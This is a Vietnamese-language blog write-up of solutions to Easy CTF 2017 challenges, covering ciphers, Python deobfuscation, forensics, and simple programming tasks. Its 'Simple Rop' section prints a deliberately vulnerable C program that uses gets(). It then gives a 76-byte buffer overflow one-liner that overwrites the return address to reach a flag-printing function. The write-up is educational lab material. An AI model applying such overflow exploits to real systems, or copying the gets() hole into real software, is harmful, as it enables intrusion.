Write up Easy CTF 2017

Chào các bạn, đã lâu không có bài viết lên blog do thời gian vừa rồi mình cũng bận nay mới trở lại viết blog tiếp.

[Miscellaneous] IRC 5 points

Bìa đầu tiên đơn giản chỉ là kết nối vào kênh IRC #easyctf2017 và nhận thông tin từ IRC server và nhận được flag 🙂

EasyCTF2017_IRC.png

=> easyctf{irc_d0esn7_apist0rm_:)}

[Miscellaneous] A-maze-ing 30 points

Đề bài có hướng dẫn cách nhập j-k-l-i là các hướng di chuyển trái – xuống – phải – lên nhưng lại không cho ma trận.

Xem gợi ý: It may take you a while to get to the end. Just keep going!

Vậy thử thôi, nhập vào một chuỗi bất kỳ “jklijklijklijkl”(16 ký tự ) và kết quả là:

EasyCTF2017_Mazeing1.png

Vậy là đáp án nó là một chuỗi dài hơn, thử tiếp: “jklijklijklijklijklijklijkli” (28 ký tự) và kết quả:

EasyCTF2017_Mazeing2.png

Vậy là đáp án chỉ phụ thuộc vào độ dài đáp án thôi 🙂

[WEB] Cookie Blog 30 Points

Mới vào đã biêt là phải vào xem ngay cookie nó là gì rồi 🙂

EasyCTF2017_CookieBlog

Không nằm ngoài dự đoán, thế là flag đã được tìm thấy:

EasyCTF2017_CookieBlog1

Công việc còn lại là decode ra thôi:

=> easyctf{yum_c00kies!!!}

[Cryptography] Flip My Letters 20 points

Bài ctypto đầu tiên, dễ dàng đó là chỉ cần đảo ngược nội dung trong flag. Có người sẽ hiểu nhầm là dảo ngược xâu nhưng không phải. Mà đó là đảo ký từ thành các ký tự đối xứng nhau. Ví dụ: a -> z, b -> y, …vv

Input:  easyctf{r_wlmg_vevm_mvvw_zm_zhxrr_gzyov}

data='r_wlmg_vevm_mvvw_zm_zhxrr_gzyov'
out=''
for ch in data:
     if(ch != '_'):
         n = ord(ch)-97
         n = (13 - n) + 13
         out += chr(n+96)
     else:
         out +=ch
print out

=> easyctf{i_dont_even_need_an_ascii_table}

[Cryptography ] Clear and Concise Commentary on Caesar Cipher 20 points

Nhìn vào tài liệu tải về là một hướng dẫn giải mã và mã hóa Ceaser. Tìm kiếm trong đó thấy có một số ví dụ mã hóa có dạng nếu mã hóa ra sẽ là  easyctf{flag} nêu tiến hành viết chương trình giải mã đoạn tin này :v

EasyCTF2017_CaesarCipher

def Ceaser(a,n):
    return chr((ord(a)-97+n)%26+97)
    
data = 'RNFLPGS{LBHTBGVG}'
data = data.upper()

for i in range(1,27,1):
    str = ''
    for ch in data:
        if(ch =='{' or ch =='}'):
            str = str+ch
        else:
            str = str+Ceaser(ch,i)
    if(str.find('ctf') >= 0 or str.find('flag') >= 0):
        print str

=> easyctf{yougotit}

[Reverse Engineering] Hexable 25 Points

Bài này cũng đơn giản như bài trên, cho một file và cái tên bài làm ta liên tưởng ngay phải làm gì. Tải file về và mở bằng HxD thế là flag đã rõ ràng rồi 🙂

EasyCTF2017_Hexable

=> easyctf{pdPJz1E4makWVW}

[Reverse Engineering] Useless Python 50 points

Đề bài cho một file Python useless.py đã bị mã hóa base16 tức là muốn đọc được code phải decode(‘hex’) file này ra 🙂 Thực hiện viết chương trình:

f1 = open('useless.py','r')
data = f1.read()
data = data.decode('hex')
print data

Ta được một đoạn code rất dài có dạng: exec(chr(101)+chr(120)+chr(101)+…+chr(41))

Lưu code vào file useless_decoded.py và thực thi thấy báo lỗi:

EasyCTF2017_Useless1

Câu lệnh Priint bị sai nên không in ra kết quả. Vậy ta phải xem tiếp đoạn code bên trong exec() có gì để tìm cách sửa lệnh Priint Tiếp tục code 🙂

def ToString(data):
     data = data.replace('exec(','')
     data = data.replace('))',')')
     arr = data.split('+')
     str=''
     for ch in arr:
          str+=chr(int(ch[4:len(ch)-1]))
     return str
 
f1 = open('useless.py','r')
data = f1.read()
data = data.decode('hex')

data=ToString(data)
print data

Ta lại nhận được một đoạn code tương tự như exec() trước nhưng ngắn hơn rồi 🙂 Ta tiếp tục xem bên trong có gì.

data= ToString(data)
data= ToString(data)
print ToString(data)

Rất may là chỉ cần ToString() (Đây là hàm tự viết nhé) 3 lần là đã ra kết  quả.

EasyCTF2017_Useless2.png

=> easyctf{python_3x3c_exec_3xec_ex3c}

[Binary Exploitation] Simple Rop 120 points

Trong bài sẽ cho một file simple-rop.c , file nhị phân thực thi của nó dạng nhị phân và đường dẫn file trong shell của server.

simple-rop.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

void print_flag();
void what_did_you_say();

int main(int argc, char* argv[])
{
     gid_t gid = getegid();
     setresgid(gid, gid, gid);
     what_did_you_say();
     return 0;
}

void print_flag()
{
    system("cat flag.txt");
}

void what_did_you_say()
{
     char buff[64];
     gets(buff);
     printf("You said: %s\n", buff);
}

Nhìn vào hàm what_did_you_say() ta thấy sẽ sử dụng lỗi tràn bộ đệm cho biến buff

Giải pháp: tràn bộ đệm để cho sau khi thực thi xong hàm what_did_you_say(), địa chỉ trả về của RET sẽ là hàm print_flag() chứ không quay lại main(). Như thế esp sẽ thực thi các lệnh trong hàm print_flag() 🙂

Dùng dbg ta thấy được địa chỉ hàm print_flag() 0x0804851a

EasyCTF2017_Simple_rop1

Nhưng trong gdb không cho debug và báo về ARLS  đã tắt. Đồng nghĩa với việc địa chỉ của các hàm sẽ không thay đổi trong các lần chạy. 🙂

EasyCTF2017_Simple_rop2.png

Ta tải file nhị phân và mở bằng IDA, tìm đến hàm what_did_you_say() sẽ thấy biến buff được lưu dưới dạng biến s’

EasyCTF2017_Simple_rop3.pngEasyCTF2017_Simple_rop4

Kiểm tra độ dài bộ nhớ stack khi goi hàm what_did_you_say() ta thấy địa chỉ chạy từ 48h đến 00h là biến ‘s’ = 72 bytes và từ 4h đến 8h cho biến ‘r’ = 4 bytes. Như vậy cần tràn ra 72+4 = 76 bytes thì mới trản hết stack. 🙂

Vào lại shell và nhập lệnh: python -c “print ‘A’*76 + ‘\x1a\x85\x04\x08′” | ./simple-rop

EasyCTF2017_Simple_rop5.png

=> easyctf{r0p_7o_v1ct0ry}

[Forensics] Mane Event 50 Points

Bài này cho một bức ảnh, chắc chắc là phải tìm flag trong ảnh thôi.

fe_lion

Đơn giản đó là chỉ cần mở file bằng NotePad++ và tìm kiếm từ khóa “CTF” hay “FLAG” gì đó là đã thấy rồi. Vì bài này flag nằm ở phần comment của file ảnh. :vEasyCTF2017_ManeEvent.png

=> easyctf{pride_in_african_engin33ring}

[Forensics]Petty Difference 75 points

Đề bài là một câu hỏi: Hai file File1 và File2 có giống nhau hoàn toàn không ? Đến đây, việc phải làm là phải so khớp nội dung hai file với nhau để tìm ra các điểm khác biệt.

Viết chương trình so khớp các ký tự trong 2 file, nếu khác nhau sẽ lấy ký tự trong File1 🙂

import os

f1 = open('file1.txt', 'r')
f2 = open('file2.txt', 'r')
data1 = f1.read()
data2 = f2.read()

print len(data1)
print len(data2)

str = ''
for i in range(0,len(data1),1):
     if(data1[i] != data2[i]):
     str+=data1[i]
print str

Ta nhận được chuỗi sau: }4_gn1k00l_3r3w_u0y_3cn3r3ff1d_3ht_3b_y4m_s1ht{ftcysae

Sắp đúng rồi, đảo xâu này thử xem nào.

out = ''
i = len(str)-1
while(i>=0):
    out += str[i]
    i-=1
print out

=> easyctf{th1s_m4y_b3_th3_d1ff3r3nc3_y0u_w3r3_l00k1ng_4}

[Programming]  Hello, world! 10 points

Bài này là quá easy luôn 🙂 In ra từ  Hello, world!

print 'Hello, world'

Submit and done 🙂

[Programming] Fizz Buzz 1 50 points

Bài này cũng đơn giản.

  • Nhập số N
  • Xét dãy i thuộc [1..N]:
    • Nếu i%3==0 : in ‘Fizz’
    • Nếu i%5==0: in ‘Buzz’
    • Nếu i%3==0 và i%5==0: in ‘FizzBuzz’
    • Còn lại : in ra i
N = int(raw_input())
for i in range(1,N+1,1):
     str=''
     if(i%3==0 ):
         str+='Fizz'
     if(i%5==0):
         str+='Buzz'
     if(str!=''):
         print str
     else:
         print i

Submit and done 🙂

Tác giả: phamcongit

 

Trả lời

Điền thông tin vào ô dưới đây hoặc nhấn vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s

%d người thích bài này: